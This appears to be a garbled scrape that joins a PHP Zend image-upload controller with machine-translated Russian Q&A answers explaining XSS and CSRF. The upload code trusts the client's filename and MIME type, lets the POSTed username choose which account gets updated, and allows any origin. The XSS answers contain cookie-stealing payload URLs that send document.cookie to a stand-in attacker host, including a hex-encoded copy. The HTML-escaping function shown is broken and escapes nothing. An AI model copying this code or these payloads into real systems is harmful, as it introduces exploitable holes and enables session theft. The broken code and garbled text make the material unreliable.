ZF cake:
<?php
class FkuController extends Zend_Controller_Action {
var $image;
var $image_type;
public function store_uploaded_image($html_element_name, $new_img_width, $new_img_height) {
$target_dir = APPLICATION_PATH . "/../public/1/";
$target_file = $target_dir . basename($_FILES[$html_element_name]["name"]);
//$image = new SimpleImage();
$this->load($_FILES[$html_element_name]['tmp_name']);
$this->resize($new_img_width, $new_img_height);
$this->save($target_file);
return $target_file;
//return name of saved file in case you want to store it in you database or show confirmation message to user
public function load($filename) {
$image_info = getimagesize($filename);
$this->image_type = $image_info[2];
if( $this->image_type == IMAGETYPE_JPEG ) {
$this->image = imagecreatefromjpeg($filename);
} elseif( $this->image_type == IMAGETYPE_GIF ) {
$this->image = imagecreatefromgif($filename);
} elseif( $this->image_type == IMAGETYPE_PNG ) {
$this->image = imagecreatefrompng($filename);
}
}
public function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {
if( $image_type == IMAGETYPE_JPEG ) {
imagejpeg($this->image,$filename,$compression);
} elseif( $image_type == IMAGETYPE_GIF ) {
imagegif($this->image,$filename);
} elseif( $image_type == IMAGETYPE_PNG ) {
imagepng($this->image,$filename);
}
if( $permissions != null) {
chmod($filename,$permissions);
}
}
public function output($image_type=IMAGETYPE_JPEG) {
if( $image_type == IMAGETYPE_JPEG ) {
imagejpeg($this->image);
} elseif( $image_type == IMAGETYPE_GIF ) {
imagegif($this->image);
} elseif( $image_type == IMAGETYPE_PNG ) {
imagepng($this->image);
}
}
public function getWidth() {
return imagesx($this->image);
}
public function getHeight() {
return imagesy($this->image);
}
public function resizeToHeight($height) {
$ratio = $height / $this->getHeight();
$width = $this->getWidth() * $ratio;
$this->resize($width,$height);
}
public function resizeToWidth($width) {
$ratio = $width / $this->getWidth();
$height = $this->getheight() * $ratio;
$this->resize($width,$height);
}
public function scale($scale) {
$width = $this->getWidth() * $scale/100;
$height = $this->getheight() * $scale/100;
$this->resize($width,$height);
}
public function resize($width,$height) {
$new_image = imagecreatetruecolor($width, $height);
imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight());
$this->image = $new_image;
}
public function savepicAction() {
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$this->_helper->layout()->disableLayout();
$this->_helper->viewRenderer->setNoRender();
$this->_response->setHeader('Access-Control-Allow-Origin', '*');
$this->db = Application_Model_Db::db_load();
$ouser = $_POST['ousername'];
$fdata = 'empty';
if (isset($_FILES['picture']) && $_FILES['picture']['size'] > 0) {
$file_size = $_FILES['picture']['size'];
$tmpName = $_FILES['picture']['tmp_name'];
//Determine filetype
switch ($_FILES['picture']['type']) {
case 'image/jpeg': $ext = "jpg"; break;
case 'image/png': $ext = "png"; break;
case 'image/jpg': $ext = "jpg"; break;
case 'image/bmp': $ext = "bmp"; break;
case 'image/gif': $ext = "gif"; break;
default: $ext = ''; break;
}
if($ext) {
//if($file_size<400000) {
$img = $this->store_uploaded_image('picture', 90,82);
//$fp = fopen($tmpName, 'r');
$fp = fopen($img, 'r');
$fdata = fread($fp, filesize($tmpName));
$fdata = base64_encode($fdata);
fclose($fp);
//}
}
}
if($fdata=='empty'){
}
else {
$this->db->update('users',
array(
'picture' => $fdata,
),
array('username=?' => $ouser ));
}
}
XSS -
Уязвимость, вызванная тем, что веб-сайт помещает доверие пользователю и не фильтрует вход пользователя. Пользовательский ввод приводит к запуску нежелательного скрипта на сайте.
CSRF:
Уязвимость, вызванная тем, что пользователь помещает доверие на сайт, но сайт может работать для получения пользовательской информации и неправильного использования.
В Simple English
XSS - это когда вы вставляете скрипты (т.е. код JavaScript) в веб-страницы, чтобы браузер выполнял код. Это вредоносно, потому что его можно использовать для кражи файлов cookie и любых других данных на странице. Например:
HTML окна поиска: <input value="*search value here*">
Теперь, если вы введете " onmouseover="alert(1)
, окончательный HTML будет <input value="" onmouseover="alert(1)">
Когда мышь передается по
В «WikiText»
Межсайтовый скриптинг (XSS) - это тип уязвимости компьютерной безопасности, обычно встречающейся в веб-приложениях. XSS позволяет злоумышленникам внедрять клиентские сценарии на веб-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться злоумышленниками для обхода средств контроля доступа, таких как политика одного и того же происхождения.
Я написал статью о том, что такое XSS и как обращаться с ней как разработчиком PHP. Есть также примеры того, как выглядят оба типа атак XSS (постоянный или непостоянный).
Существует два типа атак XSS:
Подробнее см. Здесь: http://www.thedablog.com / что-это-XSS /
Уязвимость XSS существует всякий раз, когда строка извне вашего приложения может быть интерпретирована как код.
Например, если вы генерируете HTML, сделав это:
<BODY>
<?= $myQueryParameter ?>
</BODY>
то, если переменная $myQueryParameter
содержит тэг <SCRIPT>
, тогда он завершит выполнение кода.
Чтобы предотвратить выполнение ввода в качестве кода, вам необходимо правильно удалить содержимое.
Вышеупомянутая проблема может быть решена путем реализации того, что переменная $myQueryParameter
содержит обычный текст, но вы не можете просто поместить простой текст в HTML и ожидать, что он будет работать.
Итак, вам нужно конвертировать обычный текст в HTML, чтобы вы могли поместить его на свою HTML-страницу.
Вы можете избежать простого текста в HTML с помощью такой функции, как:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Скрипты Cross Site в основном представляют собой уязвимость безопасности динамических веб-страниц, где злоумышленник может создать вредоносную ссылку для ввода нежелательного исполняемого JavaScript на веб-сайт. Наиболее распространенный случай этих уязвимостей возникает, когда переменные GET печатаются или эхофонируются без фильтрации или проверки их содержимого.
Когда жертва щелкает ссылку, вредоносный код может затем отправить файл cookie жертвы другому серверу, или может модифицировать затронутый сайт, вводить формы, украсть имена пользователей и пароли и другие методы фишинга.
Пример злонамеренной ссылки:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
Также широко распространено кодирование вредоносный код, например, в шестнадцатеричном формате:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
В простом английском языке XSS является уязвимостью безопасности, при которой злоумышленник может создать вредоносный скрипт для компрометации веб-сайта. Теперь как это работает?
Как мы знаем, XSS нуждается в поле ввода, или мы можем сказать, что переменная GET, через которую вход возвращается к пользователю без фильтрации и иногда фильтрации. После запроса он является приемлемым («исходный код») браузером в качестве ответа, чтобы показать содержимое пользователю. Помните, что когда-либо вы написали в поле ввода, это будет на ответ исходного кода. Поэтому вы должны его проверить, потому что иногда веб-разработчик делает ограничение в окне предупреждения.
Если вы сначала атакуете знать уязвимость xss с помощью тега script.
Например: - alert ("test")
Здесь alert () используется для создания всплывающего окна с кнопкой ok и того, что вы написали в скобке, это будет всплывающее окно на экране. И теги скрипта невидимы.
Теперь злоумышленник может создать вредоносный скрипт, чтобы украсть файл cookie, украсть учетные данные и т. Д.
Например: - hxxp: // www. VulnerableSite.com/index.php?search=location.href = ' http://www.Yoursite.com/Stealer.php?cookie= ' + document.cookie;
blockquote>Здесь ваш сайт - сайт злоумышленника, на котором злоумышленник может перенаправить cookie жертвы на свой сайт с помощью document.cookie.
Thats it.
Здесь сценарий tag invisible